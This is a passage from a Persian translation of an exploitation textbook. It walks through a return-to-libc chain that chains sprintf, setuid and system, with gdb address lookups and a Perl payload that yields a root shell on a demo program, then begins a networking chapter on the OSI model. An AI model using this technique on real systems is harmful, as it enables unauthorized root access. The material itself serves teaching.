‫رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﺑﺎ ﭘﯿﻮﺳﺘﻦ ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪ c‬اﻣﮑﺎن ﻧﻮﺷﺘﻦ ﭼﻨـﺪﯾﻦ ﮐﻠﻤـﻪ ﺑـﺎ اﺳـﺘﻔﺎده از ﯾـﮏ‬
‫ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ را ﻓﺮاﻣﻪ ﻣﯽ ﺳﺎزﻧﺪ‪ .‬اﮔﺮ ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه ﻏﯿﺮﻣﻤﮑﻦ ﺑﺎﺷﺪ‪ ،‬ﻫﻨﻮز ﻣﯽ ﺗﻮاﻧﯿﻢ ﺑﺎ زﻧﺠﯿﺮه ﮐﺮدن‬
‫ﺳﻪ ﻓﺮاﺧﻮاﻧﯽ ‪ libc‬ﺑﻪ ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ دﺳﺖ ﯾﺎﺑﯿﻢ‪ .‬ﺗﺎﺑﻊ )(‪ sprintf‬دﻗﯿﻘﺎ ﻣﺜﻞ )(‪ printf‬ﮐﺎر ﻣﯽ ﮐﻨﺪ‪ ،‬ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐـﻪ‬
‫ﺧﺮوﺟﯽ را )ﺑﻪ ﺟﺎی وﺳﯿﻠﻪ ﺧﺮوﺟﯽ اﺳﺘﺎﻧﺪارد( در رﺷﺘﻪ ای ﮐﻪ در اوﻟﯿﻦ آرﮔﻮﻣﺎن آن ﺗﻌﯿﯿﻦ ﺷﺪه اﺳﺖ ﻣﯽ ﻧﻮﯾـﺴﺪ‪ .‬ﺑـﻪ‬
‫اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان از اﯾﻦ ﺗﺎﺑﻊ ﺑﺮای ﻧﻮﺷﺘﻦ دو ﮐﻠﻤﻪ ‪ 4‬ﺑﺎﯾﺘﯽ ﺑﺎ ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ اﺳﺘﻔﺎده ﮐﺮد‪ .‬اﯾﻦ ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ‬
‫اﻣﮑﺎن زﻧﺠﯿﺮه ﺷﺪن ﺳﻪ ﻓﺮاﺧﻮاﻧﯽ ﻣﻮرد ﻧﻈﺮ را ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد )در ﺻﻮرﺗﯽ ﮐﻪ اﮔﺮ ﺑﯿﺸﺘﺮ از ﯾﮏ ﺑﺎر ﻓﺮاﺧـﻮاﻧﯽ ﺑـﺸﻮد‪،‬‬
‫داﺳﺘﺎن ﭼﯿﺰ دﯾﮕﺮی ﺧﻮاﻫﺪ ﺷﺪ(‪ .‬زﻧﺠﯿﺮه ﺧﻮد را در ﺣﯿﻦ اﺟﺮا ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ‪ .‬ﻧﺴﺨﻪ ﻫﺎی ﻗﺒﻞ و ﺑﻌـﺪ از ﻓﺮاﺧـﻮاﻧﯽ ﺑـﻪ‬
‫ﺻﻮرت زﯾﺮ ﺧﻮاﻫﻨﺪ ﺑﻮد‪:‬‬

‫ﻓﺮاﺧﻮاﻧﯽ )(‪ sprintf‬اﺑﺘﺪا ﺻﻮرت ﻣﯽ ﭘﺬﯾﺮد و رﺷﺘﻪ ﻓﺮﻣﺖ را ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﻣﻘﺪار ‪ 4‬ﺑﺎﯾﺘﯽِ ﭘﻮچ ﺑـﻪ ﺟـﺎی آدرس رﺷـﺘﻪ‬
‫ﻓﺮﻣﺖ ﺗﻔﺴﯿﺮ ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﺳﭙﺲ اداﻣﻪ رﺷﺘﻪ )ﮐﻪ ﺣﺎوی آدرس )(‪ system‬اﺳـﺖ( در آدرس اوﻟـﯿﻦ آرﮔﻮﻣـﺎن ﻧﻮﺷـﺘﻪ‬
‫ﺧﻮاﻫﺪ ﺷﺪ ﮐﻪ در ﻧﺘﯿﺠﻪ در ﺧﻮدش ﺟﺎﯾﻨﻮﯾﺴﯽ اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ .‬ﭘﺲ از ﻓﺮاﺧﻮاﻧﯽ )(‪ ،sprintf‬دو ﮐﻠﻤﻪ ﻣﯿـﺎﻧﯽ ﺟﺎﯾﻨﻮﯾـﺴﯽ‬
‫ﺧﻮاﻫﻨﺪ ﺷﺪ و روﻧﺪ اﺟﺮا ﺑﻪ ﺗﺎﺑﻊ )(‪ setuid‬ﺑﺎزﮔﺸﺖ ﺧﻮاﻫﺪ ﮐﺮد‪ .‬اﯾﻦ ﺗﺎﺑﻊ ﮐﻠﻤـﻪ ﭘـﻮچ ﻧﻮﺷـﺘﻪ ﺷـﺪه اﺧﯿـﺮ را ﺑـﻪ ﻋﻨـﻮان‬
‫آرﮔﻮﻣﺎن ﺧﻮد اﺳﺘﻔﺎده ﮐﺮده و اﺟﺮا ﻣﯽ ﺷﻮد ﮐﻪ در ﻧﺘﯿﺠﻪ ﺳﺒﺐ ﺗﻨﻈﯿﻢ ﺷﺪن ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ ﻣﯽ ﮔـﺮدد‪ ،‬در اﻧﺘﻬـﺎ‬
‫ﻧﯿﺰ ﺑﻪ آدرس ﻧﻮﺷﺘﻪ ﺷﺪه اﺧﯿﺮ ﺑﺮای ﺗﺎﺑﻊ )(‪ system‬ﺑﺎز ﻣﯽ ﮔﺮدد و ﭘﻮﺳﺘﻪ را اﺟﺮا ﻣﯽ ﻧﻤﺎﯾﺪ‪.‬‬
‫‪$ echo "int main(){sprintf(0);setuid();system();}">d.c;gcc -o d.o d.c;gdb -‬‬
‫‪q d.o;rm‬‬

‫‪112‬‬
‫*‪d.‬‬
‫‪(gdb) break main‬‬
‫‪Breakpoint 1 at 0x8048476‬‬
‫‪(gdb) run‬‬
‫‪Starting program: /hacking/d.o‬‬

‫)( ‪Breakpoint 1, 0x08048476 in main‬‬


‫‪(gdb) p sprintf‬‬
‫>‪$1 = {<text variable, no debug info>} 0x4205a234 <sprintf‬‬
‫‪(gdb) p setuid‬‬
‫>‪$2 = {<text variable, no debug info>} 0x420b5524 <setuid‬‬
‫‪(gdb) p system‬‬
‫>‪$3 = {<text variable, no debug info>} 0x42049e54 <system‬‬
‫‪(gdb) quit‬‬
‫‪The program is running. Exit anyway? (y or n) y‬‬
‫"‪$ export BINSH="/bin/sh‬‬
‫"';"‪$ export FMTSTR="%2\$n'printf "\x54\x9e\x04\x42‬‬
‫‪$ env | grep FMTSTR‬‬
‫‪FMTSTR=%2$nTB‬‬
‫‪$ ./gtenv BINSH‬‬
‫‪BINSH is located at 0xbffffc34‬‬
‫‪$ ./gtenv FMTSTR‬‬
‫‪FMTSTR is located at 0xbffffedd‬‬
‫'';‪$ ./vulnD 'perl -e 'print "ABCD"x13‬‬
‫‪buffer is at 0xbffffa60‬‬
‫‪Segmentation fault‬‬
‫‪$ pcalc 0xfa60 + 28 + 8‬‬
‫‪64132‬‬ ‫‪0xfa84‬‬ ‫‪0y1111101010000100‬‬
‫‪$ pcalc 0xfa60 + 28 + 12‬‬
‫‪64136‬‬ ‫‪0xfa88‬‬ ‫‪0y1111101010001000‬‬
‫‪$ ./vuln2 'perl -e 'print "ABCD"x7 . "\x34\xa2\x05\x42" .‬‬
‫‪"\x24\x55\x0b\x42" .‬‬
‫‪"\x84\xfa\xff\xbf" . "\xdd\xfe\xff\xbf" . "\x34\xfc\xff\xbf" .‬‬
‫'';"‪"\x88\xfa\xff\xbf‬‬
‫‪sh-2.05a# id‬‬
‫)‪uid=0(root) gid=500(matrix) groups=500(matrix‬‬
‫‪sh-2.05a#‬‬
‫ﻣﺠﺪدا ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺳﺎﺧﺘﮕﯽ را ﮐﻪ ﺣﺎوی ﺗﻮاﺑﻊ ﻣﻮرد ﻧﯿﺎز اﺳﺖ ﮐﺎﻣﭙﺎﯾﻞ و دﯾﺒﺎگ ﺧﻮاﻫﯿﻢ ﮐﺮد ﺗـﺎ آدرس ﻫـﺎی ﺗﻮاﺑـﻊ در‬
‫‪ libc‬را ﺑﯿﺎﺑﯿﻢ‪ .‬اﯾﻦ ﺑﺎر ﻓﺮآﯾﻨﺪ در ﯾﮏ ﺧﻂ ﺧﻼﺻﻪ ﺷﺪه اﺳﺖ‪.‬‬
‫ﺳﭙﺲ رﺷﺘﻪ ﻓﺮﻣﺖ ﮐﻪ ﺣﺎوی آدرس ﺗﺎﺑﻊ )(‪ system‬و ﻧﯿﺰ رﺷـﺘﻪ ‪ /bin/sh‬را از ﻃﺮﯾـﻖ ﻣﺘﻐﯿﺮﻫـﺎی ﻣﺤﯿﻄـﯽ در ﺣﺎﻓﻈـﻪ‬
‫ﻗﺮار داده و آدرس ﻫﺎی ﻧﺴﺒﯽ آﻧﻬﺎ را ﻣﺤﺎﺳﺒﻪ ﻣﯽ ﻧﻤﺎﯾﯿﻢ‪ .‬ﭼﻮن زﻧﺠﯿﺮه ﺑﺎﯾﺪ ﻗﺎﻟﯿﺖ ﺗﻐﯿﯿﺮ ﺧﻮد را داﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻟـﺬا ﺑﺎﯾـﺪ‬
‫آدرس زﻧﺠﯿﺮه در ﺣﺎﻓﻈﻪ را ﻧﯿﺰ ﺗﻌﯿﯿﻦ ﮐﻨﯿﻢ‪ .‬اﯾﻦ ﮐﺎر را ﺑﺎ اﺳﺘﻔﺎده از ﺑﺮﻧﺎﻣـﻪ ‪) vulnD‬ﻧـﺴﺨﻪ ای از ﺑﺮﻧﺎﻣـﻪ ‪ vuln2‬ﮐـﻪ‬
‫ﺣﺎوی ﺟﻤﻠﻪ اﺷﮑﺎل زداﯾﯽ ﻧﯿﺰ ﺑﻮد( اﻧﺠﺎم ﻣﯽ دﻫﯿﻢ‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ آدرس اﺑﺘﺪای ﺑﺎﻓﺮ ﺷﻨﺎﺧﺘﻪ ﺷﻮد‪ ،‬ﺑـﺎ ﻣﺤﺎﺳـﺒﺎت رﯾﺎﺿـﯽ‬
‫ﺳﺎده ﻣﯽ ﺗﻮان آدرس ﻫﺎﯾﯽ را ﮐﻪ آدرس )(‪ system‬و ﮐﻠﻤﻪ ﭘﻮچ ﺑﺎﯾﺪ در زﻧﺠﯿﺮه ﻧﻮﺷﺘﻪ ﺷﻮﻧﺪ ﭘﯿﺪا ﮐﺮد‪ .‬ﺳﺮاﻧﺠﺎم ﺑﺎﯾـﺪ‬
‫از اﯾﻦ آدرس ﻫﺎ ﺑﺮای اﯾﺠﺎد زﻧﺠﯿﺮه و ﺳﭙﺲ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ اﺳﺘﻔﺎده ﮐﺮد‪ .‬اﯾـﻦ ﻧـﻮع از زﻧﺠﯿـﺮه ﻫـﺎی ﺧـﻮد‪-‬‬
‫ﺗﻐﯿﯿﺮ)‪ (self-modify‬اﻣﮑﺎن اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺳﯿﺴﺘﻢ ﻫﺎﯾﯽ ﺑﺎ ﭘﺸﺘﻪ ﻫﺎی ﻏﯿﺮﻗﺎﺑﻞ اﺟﺮا را ﺑﺪون اﺳﺘﻔﺎده از ﯾﮏ ﺑﺮﻧﺎﻣـﻪ‬
‫ﭘﻮﺷﺶ دﻫﻨﺪه ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزﻧﺪ‪ .‬از ﻫﯿﭻ ﻋﺎﻣﻠﯽ ﭼﻮن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ‪ libc‬اﺳﺘﻔﺎده ﻧﮑﺮده اﯾﻢ‪.‬‬
‫ﺑﺎ داﻧﺴﺘﻦ ﻣﻔﺎﻫﯿﻢ ﭘﺎﯾﻪ در اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﺑﺎ اﻧﺪﮐﯽ ﺧﻼﻗﯿﺖ ﻣﯽ ﺗﻮان ﺑﻪ ﮔﻮﻧﻪ ﻫـﺎی ﺑـﯽ ﺷـﻤﺎری دﺳـﺖ ﯾﺎﻓـﺖ‪.‬‬
‫ﭼﻮن ﻗﻮاﻧﯿﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺗﻮﺳﻂ ﺗﻮﻟﯿﺪﮐﻨﻨﺪﮔﺎن آن ﺗﻌﺮﯾﻒ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻟﺬا اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ای ﮐﻪ اﯾﻤﻦ داﻧﺴﺘﻪ ﻣـﯽ‬
‫ﺷﻮد را ﻣﯽ ﺗﻮان ﺑﺮدن ﺷﺪن در ﯾﮏ ﺑﺎزی داﻧﺴﺖ ﮐﻪ ﺑﺎزﻧﺪه آن ﮐﺴﺎﻧﯽ ﻫﺴﺘﻨﺪ ﮐﻪ آن ﺑﺎزی را اﯾﺠﺎد و اﺑﺪاع ﻣـﯽ ﮐﻨﻨـﺪ‪.‬‬
‫روش ﻫﺎی ﺟﺪﯾﺪ ﻣﺜﻞ ﻣﺤﺎﻓﻆ ﭘﺸﺘﻪ )‪ (stack guard‬و ﺳﯿﺴﺘﻤﻬﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ‪ ،‬روش ﻫـﺎی ﻫﻮﺷـﻤﻨﺪاﻧﻪ ای ﻫـﺴﺘﻨﺪ‬
‫ﮐﻪ ﺑﺮای ﻣﻤﺎﻧﻌﺖ از ﺑﺎﺧﺘﻦ آﻧﻬﺎ و ﺧﻨﺜﯽ ﺳﺎﺧﺘﻦ اﯾﻦ ﻣﺸﮑﻼت ﺑﮑﺎر ﮔﺮﻓﺘﻪ ﻣﯿﺸﻮﻧﺪ‪ ،‬اﻣﺎ راه ﺣﻞ و اﯾﺪه ﻫـﺎﯾﯽ ﮐـﻪ در اﯾـﻦ‬
‫روش ﻫﺎ ﺑﻪ ﮐﺎر ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮد ﮐﺎﻣﻞ و ﺑﯽ ﻧﻘﺺ ﻧﯿﺴﺖ‪ .‬ﻗﻮه اﺑﺘﮑﺎر ﯾﮏ ﻫﮑـﺮ او را در ﯾـﺎﻓﺘﻦ ﺣﻔـﺮه ﻫـﺎﯾﯽ ﮐـﻪ در اﯾـﻦ‬

‫‪113‬‬
‫ﺳﯿﺴﺘﻢ ﻫﺎ ﺑﺎﻗﯽ ﻣﺎﻧﺪه اﺳﺖ ﯾﺎری ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﺷﺎﯾﺪ ﺑﺎﯾﺪ ﮔﻔﺖ ﮐﻪ ﺗﻨﻬﺎ ﺑﻪ ﭼﯿﺰﻫﺎﯾﯽ ﻓﮑﺮ ﮐﻨﯿـﺪ ﮐـﻪ راﺟـﻊ ﺑـﻪ آﻧﻬـﺎ ﻓﮑـﺮ‬
‫ﻧﺸﺪه اﺳﺖ‪.‬‬

‫‪114‬‬
‫ﻓﺼﻞ ‪ :3‬ﺷﺒﮑﻪ‬
‫ﻫﮏ ﻫﺎی ﺷﺒﮑﻪ ﭘﯿﺮو ﻫﻤﺎن ﻗﻮاﻧﯿﻦ ﻋﻠﻤﯽ ﻫﺴﺘﻨﺪ ﮐﻪ ﻫﮏ ﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﯽ ﺑﺎﺷﻨﺪ‪ :‬اﺑﺘـﺪا‪ ،‬درک ﻗـﻮاﻧﯿﻦ ﺳﯿـﺴﺘﻢ و‬
‫ﺳﭙﺲ درک ﭼﮕﻮﻧﮕﯽ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن آن ﻗﻮاﻧﯿﻦ ﺟﻬﺖ دﺳﺘﯿﺎﺑﯽ ﺑﻪ ﻧﺘﯿﺠﻪ ﻣﻄﻠﻮب‪.‬‬

‫‪ .3,1‬ﺷﺒﮑﻪ ﺑﻨﺪی‪ 44‬ﭼﯿﺴﺖ؟‬

‫اﺳﺎﺳﺎ ﺷﺒﮑﻪ ﺑﻨﺪی در ﺧﺼﻮص ارﺗﺒﺎﻃﺎت‪ 45‬ﮐﺎﻣﭙﯿﻮﺗﺮی ﻣﻄﺮح ﻣـﯽ ﺷـﻮد‪ .‬ﺑـﺮای ارﺗﺒـﺎط ﺻـﺤﯿﺢ دو ﻃـﺮف )ﯾـﺎ ﺑﯿـﺸﺘﺮ(‪،‬‬
‫اﺳﺘﺎﻧﺪاردﻫﺎ و ﭘﺮوﺗﮑﻞ ﻫﺎﯾﯽ ﻣﻮرد ﻧﯿﺎز اﺳﺖ‪ ،‬درﺳﺖ ﻣﺎﻧﻨﺪ ﺻﺤﺒﺖ ﮐﺮدن ژاﭘﻨﯽ ﺑﺎ ﻓﺮدی ﮐﻪ ﺗﻨﻬﺎ اﻧﮕﻠﯿﺴﯽ ﻣﯽ داﻧﺪ )ﮐـﻪ‬
‫ﻣﻄﻤﺌﻨﺎ ﻫﯿﭻ ﭼﯿﺰ ﻧﺨﻮاﻫﺪ ﻓﻬﻤﯿﺪ(‪ .‬در زﺑﺎن ارﺗﺒﺎﻃﺎت‪ ،‬ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎ و دﯾﮕﺮ ﻗﻄﻌﺎت ﺳﺨﺖ اﻓﺰاری ﺷﺒﮑﻪ ﺑﺮای ارﺗﺒﺎط ﺑﻬﺘﺮ‬
‫و ﻣﻮﺛﺮﺗﺮ ﺑﺎﯾﺪ زﺑﺎن ﯾﮑﺴﺎﻧﯽ داﺷﺘﻪ ﺑﺎﺷﻨﺪ‪ ،‬ﯾﻌﻨﯽ ﺑﺎﯾﺴﺘﯽ ﻣﺠﻤﻮﻋﻪ ای از اﺳﺘﺎﻧﺪاردﻫﺎ در دوره ﻫﺎی زﻣـﺎﻧﯽ‪ ،‬اﯾـﻦ زﺑـﺎن را‬
‫اﯾﺠﺎد ﮐﻨﻨﺪ‪ .‬اﯾﻦ اﺳﺘﺎﻧﺪاردﻫﺎ‪ ،‬ﻋﻤﻼ ﺷﺎﻣﻞ ﭼﯿﺰی ﺑﯿﺸﺘﺮ از ﺗﻨﻬﺎ زﺑﺎن ﻫﺴﺘﻨﺪ )ﺷﺎﻣﻞ ﻗﻮاﻧﯿﻦ ارﺗﺒﺎط ﻧﯿﺰ ﻣﯽ ﺑﺎﺷﻨﺪ(‪.‬‬
‫ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل‪ ،‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﻣﻨﺸﯽ ﺑﺨﺶ ﭘﺸﺘﯿﺒﺎﻧﯽ‪ ،‬ﺗﻠﻔﻦ را ﺑـﺮ ﻣـﯽ دارد‪ ،‬ﺑﺎﯾـﺴﺘﯽ اﻃﻼﻋـﺎت ﻣﺨـﺎﺑﺮه ﺷـﺪه و در ﺣـﺎﻟﺘﯽ‬
‫ﻣﺸﺨﺺ ﮐﻪ ﭘﯿﺮو ﭘﺮوﺗﮑﻞ ﻫﺎی ﻣﺮﺑﻮﻃﻪ اﺳﺖ‪ ،‬درﯾﺎﻓﺖ ﺷﻮﻧﺪ‪ .‬ﻣﻨﺸﯽ ﻣﻌﻤﻮﻻ ﻧﺎم ﮔﯿﺮﻧﺪه و ﻣﺸﮑﻞ ﭘـﯿﺶ آﻣـﺪه را ﻗﺒـﻞ از‬
‫اﻧﺘﻘﺎل ارﺗﺒﺎط ﺑﻪ دﭘﺎراﺗﻤﺎن ﻣﺮﺑﻮﻃﻪ ﻣﯽ ﭘﺮﺳـﺪ‪ .‬اﯾـﻦ راه ﺳـﺎده‪ ،‬ﭼﮕـﻮﻧﮕﯽ ﮐـﺎرﮐﺮد ﭘﺮوﺗﮑـﻞ را ﻧـﺸﺎن داده و ﻫـﺮ ﮔﻮﻧـﻪ‬
‫اﻧﺤﺮاف از اﯾﻦ ﭘﺮوﺗﮑﻞ ﻣﻨﺠﺮ ﺑﻪ ﻣﺸﮑﻼﺗﯽ در اﯾﻦ راﺳﺘﺎ ﺧﻮاﻫـﺪ ﺷـﺪ‪ .‬ارﺗﺒﺎﻃـﺎت ﺷـﺒﮑﻪ ای‪ ،‬ﻣﺠﻤﻮﻋـﻪ ای اﺳـﺘﺎﻧﺪارد از‬
‫ﭘﺮوﺗﮑﻞ ﻫﺎ ﻧﯿﺰ دارﻧﺪ‪ .‬اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫﺎ ﺗﻮﺳﻂ ﻣﺪل ﻣﺮﺟﻊ ‪ 46OSI‬ﺗﻌﺮﯾﻒ ﺷﺪه اﻧﺪ‪.‬‬

‫‪ .3,1,1‬ﻣﺪل ‪OSI‬‬

‫ﻣﺪل ﻣﺮﺟﻊ ‪ ،OSI‬ﻣﺠﻤﻮﻋﻪ ای از اﺳﺘﺎﻧﺪاردﻫﺎ و ﻗﻮاﻧﯿﻦ ﺑﯿﻦ اﻟﻤﻠﻠﯽ را اراﺋﻪ داده ﺗﺎ ﺑﻪ ﻫﺮ ﺳﯿﺴﺘﻢ ﻣﻄـﺎع از اﯾـﻦ ﭘﺮوﺗﮑـﻞ‬
‫ﻫﺎ‪ ،‬اﺟﺎزه ﺑﺮﻗﺮاری ارﺗﺒﺎط را ﺑﺎ ﺳﯿﺴﺘﻢ ﻫﺎی دﯾﮕﺮی ﮐﻪ از آﻧﻬﺎ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪ ،‬ﺑﺪﻫﺪ‪ .‬اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫـﺎ در ﻫﻔـﺖ ﻻﯾـﻪ‬
‫ﻣﺠﺰا )وﻟﯽ ﺑﻪ ﻫﻢ ﭘﯿﻮﺳﺘﻪ( ﻃﺒﻘﻪ ﺑﻨﺪی ﺷﺪه اﻧﺪ ﮐﻪ ﻫﺮ ﻻﯾﻪ ﺑﺎ ﺟﻨﺒﻪ ﻣﺘﻔﺎوﺗﯽ از ﻓﺮآﯾﻨﺪ ارﺗﺒﺎط ﺳﺮوﮐﺎر دارد‪ .‬ﻻزم ﺑﻪ ذﮐـﺮ‬
‫اﺳﺖ ﮐﻪ اﯾﻦ ﻣﺪل ﺑﻪ ﺳﺨﺖ اﻓﺰارﻫﺎ )ﻣﺎﻧﻨﺪ ﻣﺴﯿﺮﯾﺎب ﯾﺎ دﯾﻮارﻫﺎی آﺗﺶ( اﺟﺎزه ﺗﻤﺮﮐﺰ روی وﺟﻪ ﻣﺸﺨﺼﯽ از ارﺗﺒـﺎط را‬
‫ﮐﻪ روی آﻧﻬﺎ اﻋﻤﺎل ﺷﺪه اﺳﺖ‪ ،‬ﻣﯽ دﻫﺪ و دﯾﮕﺮ ﻗﺴﻤﺖ ﻫﺎ را ﻧﺎدﯾﺪه ﻣﯽ ﮔﯿﺮﻧﺪ‪.‬‬
‫ﻫﻔﺖ ﻻﯾﻪ ‪ OSI‬ﺑﻪ ﺻﻮرت زﯾﺮ ﻣﯽ ﺑﺎﺷﻨﺪ‪:‬‬
‫ﻻﯾﻪ ‪ :Physical‬ﭘﺎﺋﯿﻦ ﺗﺮﯾﻦ ﻻﯾﻪ در اﯾﻦ ﻣﺪل ﮐﻪ ﺑﺎ ارﺗﺒﺎط ﻓﯿﺰﯾﮑﯽ ﺑـﯿﻦ دو ﮔـﺮه ﺳـﺮوﮐﺎر دارد و ﺑﺰرﮔﺘـﺮﯾﻦ‬ ‫•‬
‫ﻧﻘﺶ آن‪ ،‬ﻣﺨﺎﺑﺮه ﮐﺮدن ﺟﺮﯾﺎن ﺧﺎم ﺑﯿﺖ ﻫﺎ ﻣﯽ ﺑﺎﺷﺪ‪ .‬اﯾﻦ ﻻﯾـﻪ ﻫﻤﭽﻨـﯿﻦ ﻣـﺴﺌﻮل ﻓﻌـﺎل ﺳـﺎزی‪ ،‬ﻧﮕﻬـﺪاری و‬
‫ﻏﯿﺮﻓﻌﺎل ﮐﺮدن اﯾﻦ ارﺗﺒﺎﻃﺎتِ ﺟﺮﯾﺎن‪-‬ﺑﯿﺘﯽ اﺳﺖ‪.‬‬
‫ﻻﯾﻪ ‪ :Data-Link‬در ﺣﻘﯿﻘﺖ اﯾﻦ ﻻﯾﻪ ﺑﺎ اﻧﺘﻘﺎل داده ﺑﯿﻦ دو ﮔﺮه ﺳﺮوﮐﺎر دارد‪ .‬ﻻﯾﻪ ﻓﯿﺰﯾﮑﯽ ﻣـﺴﺌﻮل ارﺳـﺎل‬ ‫•‬
‫ﺑﯿﺘﻬﺎی ﺧﺎم اﺳﺖ‪ ،‬اﻣﺎ ﻧﻘﺶ ﻫﺎی ﺳﻄﺢ‪-‬ﺑﺎﻻﯾﯽ را ﻧﯿﺰ اراﺋﻪ ﻣﯽ دﻫﺪ‪ ،‬از ﻗﺒﯿﻞ ﺗﺼﺤﯿﺢ ﺧﻄﺎ و ﮐﻨﺘﺮل ﺟﺮﯾـﺎن‪ .‬اﯾـﻦ‬
‫ﻻﯾﻪ روﯾﻪ ﻫﺎﯾﯽ ﺟﻬﺖ ﻓﻌﺎل ﺳﺎزی‪ ،‬ﻧﮕﻬﺪاری و ﻏﯿﺮﻓﻌﺎل ﮐﺮدن ارﺗﺒﺎط ﻫﺎی اﺗﺼﺎل داده )‪ (data-link‬ﻧﯿﺰ اراﺋـﻪ‬
‫ﻣﯽ دﻫﺪ‪.‬‬

‫‪44‬‬
‫‪Networking‬‬
‫‪45‬‬
‫‪Communication‬‬
‫‪46‬‬
‫‪Open System Interconnection‬‬
‫‪115‬‬
‫ﻻﯾﻪ ‪ :Network‬اﯾﻦ ﻻﯾﻪ ﺑﻪ ﺻﻮرت ﯾﮏ زﻣﯿﻨﻪ ﻣﯿﺎﻧﯽ‪ 47‬ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ و ﻧﻘﺶ ﮐﻠﯿﺪی آن اﻧﺘﻘﺎل اﻃﻼﻋـﺎت ﺑـﯿﻦ‬ ‫•‬
‫ﻻﯾﻪ ﻫﺎی ﺑﺎﻻﺗﺮ و ﭘﺎﺋﯿﻦ ﺗﺮ ﻣﯽ ﺑﺎﺷﺪ‪ .‬اﯾﻦ ﻻﯾﻪ ﻋﻤﻠﯿﺎﺗﯽ در راﺳﺘﺎی آدرس دﻫﯽ و ﻣﺴﯿﺮﯾﺎﺑﯽ ﻧﯿﺰ اﻧﺠﺎم ﻣﯽ دﻫﺪ‪.‬‬
‫ﻻﯾﻪ ‪ :Transport‬اﯾﻦ ﻻﯾﻪ اﻧﺘﻘﺎل ﺷﻔﺎف‪ 48‬داده را ﺑﯿﻦ ﺳﯿﺴﺘﻢ ﻫﺎ ﺑﺮ ﻋﻬـﺪه دارد‪ .‬ﺑـﺎ اراﺋـﻪ وﺳـﯿﻠﻪ ای ﺟﻬـﺖ‬ ‫•‬
‫اﻧﺘﻘﺎل ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن داده ﻫﺎ‪ ،‬اﯾﻦ ﻻﯾﻪ اﯾﻦ اﻣﮑﺎن را ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد ﮐﻪ ﻻﯾﻪ ﻫـﺎی ﺑـﺎﻻﺗﺮ ﺑـﺮای اﻧﺘﻘـﺎل داده ﻫـﺎ‬
‫ﻧﮕﺮان ﻣﺴﺎﺋﻞ دﯾﮕﺮ ﻧﺒﺎﺷﻨﺪ‪ ،‬ﺻﺮﻓﻨﻈﺮ از ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن ﺑﻮدن ﯾﺎ ﻧﺒﻮدن آﻧﻬﺎ‪.‬‬
‫ﻻﯾﻪ ‪ :Session‬اﯾﻦ ﻻﯾﻪ ﻣﺴﺌﻮل ﺑﺮﻗﺮاری و ﻧﮕﻬﺪاری ارﺗﺒﺎﻃﺎت ﺑﯿﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﺷﺒﮑﻪ اﺳﺖ‪.‬‬ ‫•‬
‫ﻻﯾﻪ ‪ :Presentation‬اﯾﻦ ﻻﯾﻪ ﻣﺴﺌﻮل اراﺋﻪ داده ﻫﺎ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻫﺎ اﺳﺖ و اﯾﻦ ﮐـﺎر در ﻗﺎﻟـﺐ ﺳـﺎﺧﺘﺎر ﯾـﺎ زﺑـﺎﻧﯽ‬ ‫•‬
‫اﻧﺠﺎم ﻣﯽ ﺷﻮد ﮐﻪ ﺑﺮای آﻧﻬﺎ ﻗﺎﺑﻞ ﻓﻬﻢ ﺑﺎﺷﺪ‪ .‬اﯾﻦ ﻻﯾﻪ اﻣﮑﺎن اﺟﺮای ﻋﻤﻠﯿﺎﺗﯽ ﻣﺎﻧﻨﺪ رﻣﺰﻧﮕﺎری و ﻓﺸﺮده ﺳـﺎزی‬
‫داده ﻫﺎ را ﻧﯿﺰ ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد‪.‬‬
